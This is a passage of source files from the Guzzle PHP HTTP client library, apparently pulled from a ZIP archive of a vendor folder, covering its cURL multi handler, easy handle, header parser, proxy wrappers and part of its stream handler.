                    if (isset($options['proxy']['no']) && Utils::isHostInNoProxy($host, $options['proxy']['no'])) {
                        unset($conf[\CURLOPT_PROXY]);
                    } else {
                        $conf[\CURLOPT_PROXY] = $options['proxy'][$scheme];
                    }
                }
            }
        }

        if (isset($options['crypto_method'])) {
            if (\STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT === $options['crypto_method']) {
                if (!defined('CURL_SSLVERSION_TLSv1_0')) {
                    throw new \InvalidArgumentException('Invalid crypto_method request option: TLS 1.0 not supported by your version of cURL');
                }
                $conf[\CURLOPT_SSLVERSION] = \CURL_SSLVERSION_TLSv1_0;
            } elseif (\STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT === $options['crypto_method']) {
                if (!defined('CURL_SSLVERSION_TLSv1_1')) {
                    throw new \InvalidArgumentException('Invalid crypto_method request option: TLS 1.1 not supported by your version of cURL');
                }
                $conf[\CURLOPT_SSLVERSION] = \CURL_SSLVERSION_TLSv1_1;
            } elseif (\STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT === $options['crypto_method']) {
                if (!defined('CURL_SSLVERSION_TLSv1_2')) {
                    throw new \InvalidArgumentException('Invalid crypto_method request option: TLS 1.2 not supported by your version of cURL');
                }
                $conf[\CURLOPT_SSLVERSION] = \CURL_SSLVERSION_TLSv1_2;
            } elseif (defined('STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT') && \STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT === $options['crypto_method']) {
                if (!defined('CURL_SSLVERSION_TLSv1_3')) {
                    throw new \InvalidArgumentException('Invalid crypto_method request option: TLS 1.3 not supported by your version of cURL');
                }
                $conf[\CURLOPT_SSLVERSION] = \CURL_SSLVERSION_TLSv1_3;
            } else {
                throw new \InvalidArgumentException('Invalid crypto_method request option: unknown version provided');
            }
        }

        if (isset($options['cert'])) {
            $cert = $options['cert'];
            if (\is_array($cert)) {
                $conf[\CURLOPT_SSLCERTPASSWD] = $cert[1];
                $cert = $cert[0];
            }
            if (!\file_exists($cert)) {
                throw new \InvalidArgumentException("SSL certificate not found: {$cert}");
            }
            // OpenSSL (versions 0.9.3 and later) also support "P12" for PKCS#12-encoded files.
            // see https://curl.se/libcurl/c/CURLOPT_SSLCERTTYPE.html
            $ext = pathinfo($cert, \PATHINFO_EXTENSION);
            if (preg_match('#^(der|p12)$#i', $ext)) {
                $conf[\CURLOPT_SSLCERTTYPE] = strtoupper($ext);
            }
            $conf[\CURLOPT_SSLCERT] = $cert;
        }

        if (isset($options['ssl_key'])) {
            if (\is_array($options['ssl_key'])) {
                if (\count($options['ssl_key']) === 2) {
                    [$sslKey, $conf[\CURLOPT_SSLKEYPASSWD]] = $options['ssl_key'];
                } else {
                    [$sslKey] = $options['ssl_key'];
                }
            }

            $sslKey = $sslKey ?? $options['ssl_key'];

            if (!\file_exists($sslKey)) {
                throw new \InvalidArgumentException("SSL private key not found: {$sslKey}");
            }
            $conf[\CURLOPT_SSLKEY] = $sslKey;
        }

        if (isset($options['progress'])) {
            $progress = $options['progress'];
            if (!\is_callable($progress)) {
                throw new \InvalidArgumentException('progress client option must be callable');
            }
            $conf[\CURLOPT_NOPROGRESS] = false;
            $conf[\CURLOPT_PROGRESSFUNCTION] = static function ($resource, int $downloadSize, int $downloaded, int $uploadSize, int $uploaded) use ($progress) {
                $progress($downloadSize, $downloaded, $uploadSize, $uploaded);
            };
        }

        if (!empty($options['debug'])) {
            $conf[\CURLOPT_STDERR] = Utils::debugResource($options['debug']);
            $conf[\CURLOPT_VERBOSE] = true;
        }
    }

    /**
     * This function ensures that a response was set on a transaction. If one
     * was not set, then the request is retried if possible. This error
     * typically means you are sending a payload, curl encountered a
     * "Connection died, retrying a fresh connect" error, tried to rewind the
     * stream, and then encountered a "necessary data rewind wasn't possible"
     * error, causing the request to be sent through curl_multi_info_read()
     * without an error status.
     *
     * @param callable(RequestInterface, array): PromiseInterface $handler
     */
    private static function retryFailedRewind(callable $handler, EasyHandle $easy, array $ctx): PromiseInterface
    {
        try {
            // Only rewind if the body has been read from.
            $body = $easy->request->getBody();
            if ($body->tell() > 0) {
                $body->rewind();
            }
        } catch (\RuntimeException $e) {
            $ctx['error'] = 'The connection unexpectedly failed without '
                .'providing an error. The request would have been retried, '
                .'but attempting to rewind the request body failed. '
                .'Exception: '.$e;

            return self::createRejection($easy, $ctx);
        }

        // Retry no more than 3 times before giving up.
        if (!isset($easy->options['_curl_retries'])) {
            $easy->options['_curl_retries'] = 1;
        } elseif ($easy->options['_curl_retries'] == 2) {
            $ctx['error'] = 'The cURL request was retried 3 times '
                .'and did not succeed. The most likely reason for the failure '
                .'is that cURL was unable to rewind the body of the request '
                .'and subsequent retries resulted in the same error. Turn on '
                .'the debug option to see what went wrong. See '
                .'https://bugs.php.net/bug.php?id=47204 for more information.';

            return self::createRejection($easy, $ctx);
        } else {
            ++$easy->options['_curl_retries'];
        }

        return $handler($easy->request, $easy->options);
    }

    private function createHeaderFn(EasyHandle $easy): callable
    {
        if (isset($easy->options['on_headers'])) {
            $onHeaders = $easy->options['on_headers'];

            if (!\is_callable($onHeaders)) {
                throw new \InvalidArgumentException('on_headers must be callable');
            }
        } else {
            $onHeaders = null;
        }

        return static function ($ch, $h) use (
            $onHeaders,
            $easy,
            &$startingResponse
        ) {
            $value = \trim($h);
            if ($value === '') {
                $startingResponse = true;
                try {
                    $easy->createResponse();
                } catch (\Exception $e) {
                    $easy->createResponseException = $e;

                    return -1;
                }
                if ($onHeaders !== null) {
                    try {
                        $onHeaders($easy->response);
                    } catch (\Exception $e) {
                        // Associate the exception with the handle and trigger
                        // a curl header write error by returning 0.
                        $easy->onHeadersException = $e;

                        return -1;
                    }
                }
            } elseif ($startingResponse) {
                $startingResponse = false;
                $easy->headers = [$value];
            } else {
                $easy->headers[] = $value;
            }

            return \strlen($h);
        };
    }

    public function __destruct()
    {
        foreach ($this->handles as $id => $handle) {
            \curl_close($handle);
            unset($this->handles[$id]);
        }
    }
}
PK
h�\k(��WW9vendor/guzzlehttp/guzzle/src/Handler/CurlMultiHandler.phpnu�[���<?php

namespace GuzzleHttp\Handler;

use GuzzleHttp\Promise as P;
use GuzzleHttp\Promise\Promise;
use GuzzleHttp\Promise\PromiseInterface;
use GuzzleHttp\Utils;
use Psr\Http\Message\RequestInterface;

/**
 * Returns an asynchronous response using curl_multi_* functions.
 *
 * When using the CurlMultiHandler, custom curl options can be specified as an
 * associative array of curl option constants mapping to values in the
 * **curl** key of the provided request options.
 *
 * @final
 */
class CurlMultiHandler
{
    /**
     * @var CurlFactoryInterface
     */
    private $factory;

    /**
     * @var int
     */
    private $selectTimeout;

    /**
     * @var int Will be higher than 0 when `curl_multi_exec` is still running.
     */
    private $active = 0;

    /**
     * @var array Request entry handles, indexed by handle id in `addRequest`.
     *
     * @see CurlMultiHandler::addRequest
     */
    private $handles = [];

    /**
     * @var array<int, float> An array of delay times, indexed by handle id in `addRequest`.
     *
     * @see CurlMultiHandler::addRequest
     */
    private $delays = [];

    /**
     * @var array<mixed> An associative array of CURLMOPT_* options and corresponding values for curl_multi_setopt()
     */
    private $options = [];

    /** @var resource|\CurlMultiHandle */
    private $_mh;

    /**
     * This handler accepts the following options:
     *
     * - handle_factory: An optional factory  used to create curl handles
     * - select_timeout: Optional timeout (in seconds) to block before timing
     *   out while selecting curl handles. Defaults to 1 second.
     * - options: An associative array of CURLMOPT_* options and
     *   corresponding values for curl_multi_setopt()
     */
    public function __construct(array $options = [])
    {
        $this->factory = $options['handle_factory'] ?? new CurlFactory(50);

        if (isset($options['select_timeout'])) {
            $this->selectTimeout = $options['select_timeout'];
        } elseif ($selectTimeout = Utils::getenv('GUZZLE_CURL_SELECT_TIMEOUT')) {
            @trigger_error('Since guzzlehttp/guzzle 7.2.0: Using environment variable GUZZLE_CURL_SELECT_TIMEOUT is deprecated. Use option "select_timeout" instead.', \E_USER_DEPRECATED);
            $this->selectTimeout = (int) $selectTimeout;
        } else {
            $this->selectTimeout = 1;
        }

        $this->options = $options['options'] ?? [];

        // unsetting the property forces the first access to go through
        // __get().
        unset($this->_mh);
    }

    /**
     * @param string $name
     *
     * @return resource|\CurlMultiHandle
     *
     * @throws \BadMethodCallException when another field as `_mh` will be gotten
     * @throws \RuntimeException       when curl can not initialize a multi handle
     */
    public function __get($name)
    {
        if ($name !== '_mh') {
            throw new \BadMethodCallException("Can not get other property as '_mh'.");
        }

        $multiHandle = \curl_multi_init();

        if (false === $multiHandle) {
            throw new \RuntimeException('Can not initialize curl multi handle.');
        }

        $this->_mh = $multiHandle;

        foreach ($this->options as $option => $value) {
            // A warning is raised in case of a wrong option.
            curl_multi_setopt($this->_mh, $option, $value);
        }

        return $this->_mh;
    }

    public function __destruct()
    {
        if (isset($this->_mh)) {
            \curl_multi_close($this->_mh);
            unset($this->_mh);
        }
    }

    public function __invoke(RequestInterface $request, array $options): PromiseInterface
    {
        $easy = $this->factory->create($request, $options);
        $id = (int) $easy->handle;

        $promise = new Promise(
            [$this, 'execute'],
            function () use ($id) {
                return $this->cancel($id);
            }
        );

        $this->addRequest(['easy' => $easy, 'deferred' => $promise]);

        return $promise;
    }

    /**
     * Ticks the curl event loop.
     */
    public function tick(): void
    {
        // Add any delayed handles if needed.
        if ($this->delays) {
            $currentTime = Utils::currentTime();
            foreach ($this->delays as $id => $delay) {
                if ($currentTime >= $delay) {
                    unset($this->delays[$id]);
                    \curl_multi_add_handle(
                        $this->_mh,
                        $this->handles[$id]['easy']->handle
                    );
                }
            }
        }

        // Step through the task queue which may add additional requests.
        P\Utils::queue()->run();

        if ($this->active && \curl_multi_select($this->_mh, $this->selectTimeout) === -1) {
            // Perform a usleep if a select returns -1.
            // See: https://bugs.php.net/bug.php?id=61141
            \usleep(250);
        }

        while (\curl_multi_exec($this->_mh, $this->active) === \CURLM_CALL_MULTI_PERFORM) {
        }

        $this->processMessages();
    }

    /**
     * Runs until all outstanding connections have completed.
     */
    public function execute(): void
    {
        $queue = P\Utils::queue();

        while ($this->handles || !$queue->isEmpty()) {
            // If there are no transfers, then sleep for the next delay
            if (!$this->active && $this->delays) {
                \usleep($this->timeToNext());
            }
            $this->tick();
        }
    }

    private function addRequest(array $entry): void
    {
        $easy = $entry['easy'];
        $id = (int) $easy->handle;
        $this->handles[$id] = $entry;
        if (empty($easy->options['delay'])) {
            \curl_multi_add_handle($this->_mh, $easy->handle);
        } else {
            $this->delays[$id] = Utils::currentTime() + ($easy->options['delay'] / 1000);
        }
    }

    /**
     * Cancels a handle from sending and removes references to it.
     *
     * @param int $id Handle ID to cancel and remove.
     *
     * @return bool True on success, false on failure.
     */
    private function cancel($id): bool
    {
        if (!is_int($id)) {
            trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing an integer to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__);
        }

        // Cannot cancel if it has been processed.
        if (!isset($this->handles[$id])) {
            return false;
        }

        $handle = $this->handles[$id]['easy']->handle;
        unset($this->delays[$id], $this->handles[$id]);
        \curl_multi_remove_handle($this->_mh, $handle);
        \curl_close($handle);

        return true;
    }

    private function processMessages(): void
    {
        while ($done = \curl_multi_info_read($this->_mh)) {
            if ($done['msg'] !== \CURLMSG_DONE) {
                // if it's not done, then it would be premature to remove the handle. ref https://github.com/guzzle/guzzle/pull/2892#issuecomment-945150216
                continue;
            }
            $id = (int) $done['handle'];
            \curl_multi_remove_handle($this->_mh, $done['handle']);

            if (!isset($this->handles[$id])) {
                // Probably was cancelled.
                continue;
            }

            $entry = $this->handles[$id];
            unset($this->handles[$id], $this->delays[$id]);
            $entry['easy']->errno = $done['result'];
            $entry['deferred']->resolve(
                CurlFactory::finish($this, $entry['easy'], $this->factory)
            );
        }
    }

    private function timeToNext(): int
    {
        $currentTime = Utils::currentTime();
        $nextTime = \PHP_INT_MAX;
        foreach ($this->delays as $time) {
            if ($time < $nextTime) {
                $nextTime = $time;
            }
        }

        return ((int) \max(0, $nextTime - $currentTime)) * 1000000;
    }
}
PK
h�\�?�CTT3vendor/guzzlehttp/guzzle/src/Handler/EasyHandle.phpnu�[���<?php

namespace GuzzleHttp\Handler;

use GuzzleHttp\Psr7\Response;
use GuzzleHttp\Utils;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\StreamInterface;

/**
 * Represents a cURL easy handle and the data it populates.
 *
 * @internal
 */
final class EasyHandle
{
    /**
     * @var resource|\CurlHandle cURL resource
     */
    public $handle;

    /**
     * @var StreamInterface Where data is being written
     */
    public $sink;

    /**
     * @var array Received HTTP headers so far
     */
    public $headers = [];

    /**
     * @var ResponseInterface|null Received response (if any)
     */
    public $response;

    /**
     * @var RequestInterface Request being sent
     */
    public $request;

    /**
     * @var array Request options
     */
    public $options = [];

    /**
     * @var int cURL error number (if any)
     */
    public $errno = 0;

    /**
     * @var \Throwable|null Exception during on_headers (if any)
     */
    public $onHeadersException;

    /**
     * @var \Exception|null Exception during createResponse (if any)
     */
    public $createResponseException;

    /**
     * Attach a response to the easy handle based on the received headers.
     *
     * @throws \RuntimeException if no headers have been received or the first
     *                           header line is invalid.
     */
    public function createResponse(): void
    {
        [$ver, $status, $reason, $headers] = HeaderProcessor::parseHeaders($this->headers);

        $normalizedKeys = Utils::normalizeHeaderKeys($headers);

        if (!empty($this->options['decode_content']) && isset($normalizedKeys['content-encoding'])) {
            $headers['x-encoded-content-encoding'] = $headers[$normalizedKeys['content-encoding']];
            unset($headers[$normalizedKeys['content-encoding']]);
            if (isset($normalizedKeys['content-length'])) {
                $headers['x-encoded-content-length'] = $headers[$normalizedKeys['content-length']];

                $bodyLength = (int) $this->sink->getSize();
                if ($bodyLength) {
                    $headers[$normalizedKeys['content-length']] = $bodyLength;
                } else {
                    unset($headers[$normalizedKeys['content-length']]);
                }
            }
        }

        // Attach a response to the easy handle with the parsed headers.
        $this->response = new Response(
            $status,
            $headers,
            $this->sink,
            $ver,
            $reason
        );
    }

    /**
     * @param string $name
     *
     * @return void
     *
     * @throws \BadMethodCallException
     */
    public function __get($name)
    {
        $msg = $name === 'handle' ? 'The EasyHandle has been released' : 'Invalid property: '.$name;
        throw new \BadMethodCallException($msg);
    }
}
PK
h�\7�{  8vendor/guzzlehttp/guzzle/src/Handler/HeaderProcessor.phpnu�[���<?php

namespace GuzzleHttp\Handler;

use GuzzleHttp\Utils;

/**
 * @internal
 */
final class HeaderProcessor
{
    /**
     * Returns the HTTP version, status code, reason phrase, and headers.
     *
     * @param string[] $headers
     *
     * @return array{0:string, 1:int, 2:?string, 3:array}
     *
     * @throws \RuntimeException
     */
    public static function parseHeaders(array $headers): array
    {
        if ($headers === []) {
            throw new \RuntimeException('Expected a non-empty array of header data');
        }

        $parts = \explode(' ', \array_shift($headers), 3);
        $version = \explode('/', $parts[0])[1] ?? null;

        if ($version === null) {
            throw new \RuntimeException('HTTP version missing from header data');
        }

        $status = $parts[1] ?? null;

        if ($status === null) {
            throw new \RuntimeException('HTTP status code missing from header data');
        }

        return [$version, (int) $status, $parts[2] ?? null, Utils::headersFromLines($headers)];
    }
}
PK
h�\��9���.vendor/guzzlehttp/guzzle/src/Handler/Proxy.phpnu�[���<?php

namespace GuzzleHttp\Handler;

use GuzzleHttp\Promise\PromiseInterface;
use GuzzleHttp\RequestOptions;
use Psr\Http\Message\RequestInterface;

/**
 * Provides basic proxies for handlers.
 *
 * @final
 */
class Proxy
{
    /**
     * Sends synchronous requests to a specific handler while sending all other
     * requests to another handler.
     *
     * @param callable(\Psr\Http\Message\RequestInterface, array): \GuzzleHttp\Promise\PromiseInterface $default Handler used for normal responses
     * @param callable(\Psr\Http\Message\RequestInterface, array): \GuzzleHttp\Promise\PromiseInterface $sync    Handler used for synchronous responses.
     *
     * @return callable(\Psr\Http\Message\RequestInterface, array): \GuzzleHttp\Promise\PromiseInterface Returns the composed handler.
     */
    public static function wrapSync(callable $default, callable $sync): callable
    {
        return static function (RequestInterface $request, array $options) use ($default, $sync): PromiseInterface {
            return empty($options[RequestOptions::SYNCHRONOUS]) ? $default($request, $options) : $sync($request, $options);
        };
    }

    /**
     * Sends streaming requests to a streaming compatible handler while sending
     * all other requests to a default handler.
     *
     * This, for example, could be useful for taking advantage of the
     * performance benefits of curl while still supporting true streaming
     * through the StreamHandler.
     *
     * @param callable(\Psr\Http\Message\RequestInterface, array): \GuzzleHttp\Promise\PromiseInterface $default   Handler used for non-streaming responses
     * @param callable(\Psr\Http\Message\RequestInterface, array): \GuzzleHttp\Promise\PromiseInterface $streaming Handler used for streaming responses
     *
     * @return callable(\Psr\Http\Message\RequestInterface, array): \GuzzleHttp\Promise\PromiseInterface Returns the composed handler.
     */
    public static function wrapStreaming(callable $default, callable $streaming): callable
    {
        return static function (RequestInterface $request, array $options) use ($default, $streaming): PromiseInterface {
            return empty($options['stream']) ? $default($request, $options) : $streaming($request, $options);
        };
    }
}
PK
h�\�b�VSVS6vendor/guzzlehttp/guzzle/src/Handler/StreamHandler.phpnu�[���<?php

namespace GuzzleHttp\Handler;

use GuzzleHttp\Exception\ConnectException;
use GuzzleHttp\Exception\RequestException;
use GuzzleHttp\Promise as P;
use GuzzleHttp\Promise\FulfilledPromise;
use GuzzleHttp\Promise\PromiseInterface;
use GuzzleHttp\Psr7;
use GuzzleHttp\TransferStats;
use GuzzleHttp\Utils;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\StreamInterface;
use Psr\Http\Message\UriInterface;

/**
 * HTTP handler that uses PHP's HTTP stream wrapper.
 *
 * @final
 */
class StreamHandler
{
    /**
     * @var array
     */
    private $lastHeaders = [];

    /**
     * Sends an HTTP request.
     *
     * @param RequestInterface $request Request to send.
     * @param array            $options Request transfer options.
     */
    public function __invoke(RequestInterface $request, array $options): PromiseInterface
    {
        // Sleep if there is a delay specified.
        if (isset($options['delay'])) {
            \usleep($options['delay'] * 1000);
        }

        $startTime = isset($options['on_stats']) ? Utils::currentTime() : null;

        try {
            // Does not support the expect header.
            $request = $request->withoutHeader('Expect');

            // Append a content-length header if body size is zero to match
            // cURL's behavior.
            if (0 === $request->getBody()->getSize()) {
                $request = $request->withHeader('Content-Length', '0');
            }

            return $this->createResponse(
                $request,
                $options,
                $this->createStream($request, $options),
                $startTime
            );
        } catch (\InvalidArgumentException $e) {
            throw $e;
        } catch (\Exception $e) {
            // Determine if the error was a networking error.
            $message = $e->getMessage();
            // This list can probably get more comprehensive.
            if (false !== \strpos($message, 'getaddrinfo') // DNS lookup failed
                || false !== \strpos($message, 'Connection refused')
                || false !== \strpos($message, "couldn't connect to host") // error on HHVM
                || false !== \strpos($message, 'connection attempt failed')
            ) {
                $e = new ConnectException($e->getMessage(), $request, $e);
            } else {
                $e = RequestException::wrapException($request, $e);
            }
            $this->invokeStats($options, $request, $startTime, null, $e);

            return P\Create::rejectionFor($e);
        }
    }

    private function invokeStats(
        array $options,
        RequestInterface $request,
        ?float $startTime,
        ResponseInterface $response = null,
        \Throwable $error = null
    ): void {
        if (isset($options['on_stats'])) {
            $stats = new TransferStats($request, $response, Utils::currentTime() - $startTime, $error, []);
            ($options['on_stats'])($stats);
        }
    }

    /**
     * @param resource $stream
     */
    private function createResponse(RequestInterface $request, array $options, $stream, ?float $startTime): PromiseInterface
    {
        $hdrs = $this->lastHeaders;
        $this->lastHeaders = [];

        try {
            [$ver, $status, $reason, $headers] = HeaderProcessor::parseHeaders($hdrs);
        } catch (\Exception $e) {
            return P\Create::rejectionFor(
                new RequestException('An error was encountered while creating the response', $request, null, $e)
            );
        }

        [$stream, $headers] = $this->checkDecode($options, $headers, $stream);
        $stream = Psr7\Utils::streamFor($stream);
        $sink = $stream;

        if (\strcasecmp('HEAD', $request->getMethod())) {
            $sink = $this->createSink($stream, $options);
        }

        try {
            $response = new Psr7\Response($status, $headers, $sink, $ver, $reason);
        } catch (\Exception $e) {
            return P\Create::rejectionFor(
                new RequestException('An error was encountered while creating the response', $request, null, $e)
            );
        }

        if (isset($options['on_headers'])) {
            try {
                $options['on_headers']($response);
            } catch (\Exception $e) {
                return P\Create::rejectionFor(
                    new RequestException('An error was encountered during the on_headers event', $request, $response, $e)
                );
            }
        }

        // Do not drain when the request is a HEAD request because they have
        // no body.
        if ($sink !== $stream) {
            $this->drain($stream, $sink, $response->getHeaderLine('Content-Length'));
        }

        $this->invokeStats($options, $request, $startTime, $response, null);

        return new FulfilledPromise($response);
    }

    private function createSink(StreamInterface $stream, array $options): StreamInterface
    {
        if (!empty($options['stream'])) {
            return $stream;
        }

        $sink = $options['sink'] ?? Psr7\Utils::tryFopen('php://temp', 'r+');

        return \is_string($sink) ? new Psr7\LazyOpenStream($sink, 'w+') : Psr7\Utils::streamFor($sink);
    }

    /**
     * @param resource $stream
     */
    private function checkDecode(array $options, array $headers, $stream): array
    {
        // Automatically decode responses when instructed.
        if (!empty($options['decode_content'])) {
            $normalizedKeys = Utils::normalizeHeaderKeys($headers);
            if (isset($normalizedKeys['content-encoding'])) {
                $encoding = $headers[$normalizedKeys['content-encoding']];
                if ($encoding[0] === 'gzip' || $encoding[0] === 'deflate') {
                    $stream = new Psr7\InflateStream(Psr7\Utils::streamFor($stream));
                    $headers['x-encoded-content-encoding'] = $headers[$normalizedKeys['content-encoding']];

                    // Remove content-encoding header
                    unset($headers[$normalizedKeys['content-encoding']]);

                    // Fix content-length header
                    if (isset($normalizedKeys['content-length'])) {
                        $headers['x-encoded-content-length'] = $headers[$normalizedKeys['content-length']];
                        $length = (int) $stream->getSize();
                        if ($length === 0) {
                            unset($headers[$normalizedKeys['content-length']]);
                        } else {
                            $headers[$normalizedKeys['content-length']] = [$length];
                        }
                    }
                }
            }
        }

        return [$stream, $headers];
    }

    /**
     * Drains the source stream into the "sink" client option.
     *
     * @param string $contentLength Header specifying the amount of
     *                              data to read.
     *
     * @throws \RuntimeException when the sink option is invalid.
     */
    private function drain(StreamInterface $source, StreamInterface $sink, string $contentLength): StreamInterface
    {
        // If a content-length header is provided, then stop reading once
        // that number of bytes has been read. This can prevent infinitely
        // reading from a stream when dealing with servers that do not honor
        // Connection: Close headers.
        Psr7\Utils::copyToStream(
            $source,
            $sink,
            (\strlen($contentLength) > 0 && (int) $contentLength > 0) ? (int) $contentLength : -1
        );

        $sink->seek(0);
        $source->close();

        return $sink;
    }

    /**
     * Create a resource and check to ensure it was created successfully
     *
     * @param callable $callback Callable that returns stream resource
     *
     * @return resource
     *
     * @throws \RuntimeException on error
     */
    private function createResource(callable $callback)
    {
        $errors = [];
        \set_error_handler(static function ($_, $msg, $file, $line) use (&$errors): bool {
            $errors[] = [
                'message' => $msg,
                'file' => $file,
                'line' => $line,
            ];

            return true;
        });

        try {
            $resource = $callback();
        } finally {
            \restore_error_handler();
        }

        if (!$resource) {
            $message = 'Error creating resource: ';
            foreach ($errors as $err) {
                foreach ($err as $key => $value) {
                    $message .= "[$key] $value".\PHP_EOL;
                }
            }
            throw new \RuntimeException(\trim($message));
        }

        return $resource;
    }

    /**
     * @return resource
     */
    private function createStream(RequestInterface $request, array $options)
    {
        static $methods;
        if (!$methods) {
            $methods = \array_flip(\get_class_methods(__CLASS__));
        }

        if (!\in_array($request->getUri()->getScheme(), ['http', 'https'])) {
            throw new RequestException(\sprintf("The scheme '%s' is not supported.", $request->getUri()->getScheme()), $request);
        }

        // HTTP/1.1 streams using the PHP stream wrapper require a
        // Connection: close header
        if ($request->getProtocolVersion() == '1.1'
            && !$request->hasHeader('Connection')
        ) {
            $request = $request->withHeader('Connection', 'close');
        }

        // Ensure SSL is verified by default
        if (!isset($options['verify'])) {
            $options['verify'] = true;
        }

        $params = [];
        $context = $this->getDefaultContext($request);

        if (isset($options['on_headers']) && !\is_callable($options['on_headers'])) {
            throw new \InvalidArgumentException('on_headers must be callable');
        }

        if (!empty($options)) {
            foreach ($options as $key => $value) {
                $method = "add_{$key}";
                if (isset($methods[$method])) {
                    $this->{$method}($request, $context, $value, $params);
                }
            }
        }

        if (isset($options['stream_context'])) {
            if (!\is_array($options['stream_context'])) {
                throw new \InvalidArgumentException('stream_context must be an array');
            }
            $context = \array_replace_recursive($context, $options['stream_context']);
        }

        // Microsoft NTLM authentication only supported with curl handler
        if (isset($options['auth'][2]) && 'ntlm' === $options['auth'][2]) {
            throw new \InvalidArgumentException('Microsoft NTLM authentication only supported with curl handler');
        }

        $uri = $this->resolveHost($request, $options);

        $contextResource = $this->createResource(
            static function () use ($context, $params) {
                return \stream_context_create($context, $params);
            }
        );

        return $this->createResource(
            function () use ($uri, &$http_response_header, $contextResource, $context, $options, $request) {
                $resource = @\fopen((string) $uri, 'r', false, $contextResource);
                $this->lastHeaders = $http_response_header ?? [];

                if (false === $resource) {
                    throw new ConnectException(sprintf('Connection refused for URI %s', $uri), $request, null, $context);
                }

                if (isset($options['read_timeout'])) {
                    $readTimeout = $options['read_timeout'];
                    $sec = (int) $readTimeout;
                    $usec = ($readTimeout - $sec) * 100000;
                    \stream_set_timeout($resource, $sec, $usec);
                }

                return $resource;
            }
        );
    }

    private function resolveHost(RequestInterface $request, array $options): UriInterface
    {
        $uri = $request->getUri();

        if (isset($options['force_ip_resolve']) && !\filter_var($uri->getHost(), \FILTER_VALIDATE_IP)) {
            if ('v4' === $options['force_ip_resolve']) {
                $records = \dns_get_record($uri->getHost(), \DNS_A);
                if (false === $records || !isset($records[0]['ip'])) {
                    throw new ConnectException(\sprintf("Could not resolve IPv4 address for host '%s'", $uri->getHost()), $request);
                }

                return $uri->withHost($records[0]['ip']);
            }
            if ('v6' === $options['force_ip_resolve']) {
                $records = \dns_get_record($uri->getHost(), \DNS_AAAA);
                if (false === $records || !isset($records[0]['ipv6'])) {
                    throw new ConnectException(\sprintf("Could not resolve IPv6 address for host '%s'", $uri->getHost()), $request);
                }

                return $uri->withHost('['.$records[0]['ipv6'].']');
            }
        }

        return $uri;
    }

    private function getDefaultContext(RequestInterface $request): array
    {
        $headers = '';
        foreach ($request->getHeaders() as $name => $value) {
            foreach ($value as $val) {
                $headers .= "$name: $val\r\n";
            }
        }

        $context = [
            'http' => [
                'method' => $request->getMethod(),
                'header' => $headers,
                'protocol_version' => $request->getProtocolVersion(),
                'ignore_errors' => true,
                'follow_location' => 0,
            ],
            'ssl' => [
                'peer_name' => $request->getUri()->getHost(),
            ],
        ];

        $body = (string) $request->getBody();

        if ('' !== $body) {
            $context['http']['content'] = $body;
            // Prevent the HTTP handler from adding a Content-Type header.
            if (!$request->hasHeader('Content-Type')) {
                $context['http']['header'] .= "Content-Type:\r\n";
            }
        }

        $context['http']['header'] = \rtrim($context['http']['header']);

        return $context;
    }

    /**
     * @param mixed $value as passed via Request transfer options.
     */
    private function add_proxy(RequestInterface $request, array &$options, $value, array &$params): void
    {
        $uri = null;

        if (!\is_array($value)) {
            $uri = $value;
        } else {
            $scheme = $request->getUri()->getScheme();
            if (isset($value[$scheme])) {
                if (!isset($value['no']) || !Utils::isHostInNoProxy($request->getUri()->getHost(), $value['no'])) {
                    $uri = $value[$scheme];
                }
            }
        }

        if (!$uri) {
            return;
        }

        $parsed = $this->parse_proxy($uri);
        $options['http']['proxy'] = $parsed['proxy'];

        if ($parsed['auth']) {
            if (!isset($options['http']['header'])) {
                $options['http']['header'] = [];
            }
            $options['http']['header'] .= "\r\nProxy-Authorization: {$parsed['auth']}";
        }
    }

    /**
     * Parses the given proxy URL to make it compatible with the format PHP's stream context expects.
     */
    private function parse_proxy(string $url): array
    {
        $parsed = \parse_url($url);

        if ($parsed !== false && isset($parsed['scheme']) && $parsed['scheme'] === 'http') {
            if (isset($parsed['host']) && isset($parsed['port'])) {
                $auth = null;
                if (isset($parsed['user']) && isset($parsed['pass'])) {
                    $auth = \base64_encode("{$parsed['user']}:{$parsed['pass']}");
                }

                return [
                    'proxy' => "tcp://{$parsed['host']}:{$parsed['port']}",
                    'auth' => $auth ? "Basic {$auth}" : null,
                ];
            }
        }

        // Return proxy as-is.
        return [
            'proxy' => $url,
            'auth' => null,
        ];
    }

    /**
     * @param mixed $value as passed via Request transfer options.
     */
    private function add_timeout(RequestInterface $request, array &$options, $value, array &$params): void
    {
        if ($value > 0) {
            $options['http']['timeout'] = $value;
        }
    }

    /**
     * @param mixed $value as passed via Request transfer options.
     */
    private function add_crypto_method(RequestInterface $request, array &$options, $value, array &$params): void
    {
        if (
            $value === \STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT
            || $value === \STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT
            || $value === \STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT
            || (defined('STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT') && $value === \STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT)
        ) {
            $options['http']['crypto_method'] = $value;

            return;
        }

        throw new \InvalidArgumentException('Invalid crypto_method request option: unknown version provided');
    }

    /**
     * @param mixed $value as passed via Request transfer options.
     */
    private function add_verify(RequestInterface $request, array &$options, $value, array &$params): void
    {
        if ($value === false) {
            $options['ssl']['verify_peer'] = false;
            $options['ssl']['verify_peer_name'] = false;

            return;
        }

        if (\is_string($value)) {
            $options['ssl']['cafile'] = $value;
            if (!\file_exists($value)) {
                throw new \RuntimeException("SSL CA bundle not found: $value");
            }
        } elseif ($value !== true) {
            throw new \InvalidArgumentException('Invalid verify request option');
        }

        $options['ssl']['verify_peer'] = true;
        $options['ssl']['verify_peer_name'] = true;
        $options['ssl']['allow_self_signed'] = false;
    }

    /**
     * @param mixed $value as passed via Request transfer options.
     */
    private function add_cert(RequestInterface $request, array &$options, $value, array &$params): void
    {
        if (\is_array($value)) {
            $options['ssl']['passphrase'] = $value[1];
            $value = $value[0];
        }

        if (!\file_exists($value)) {
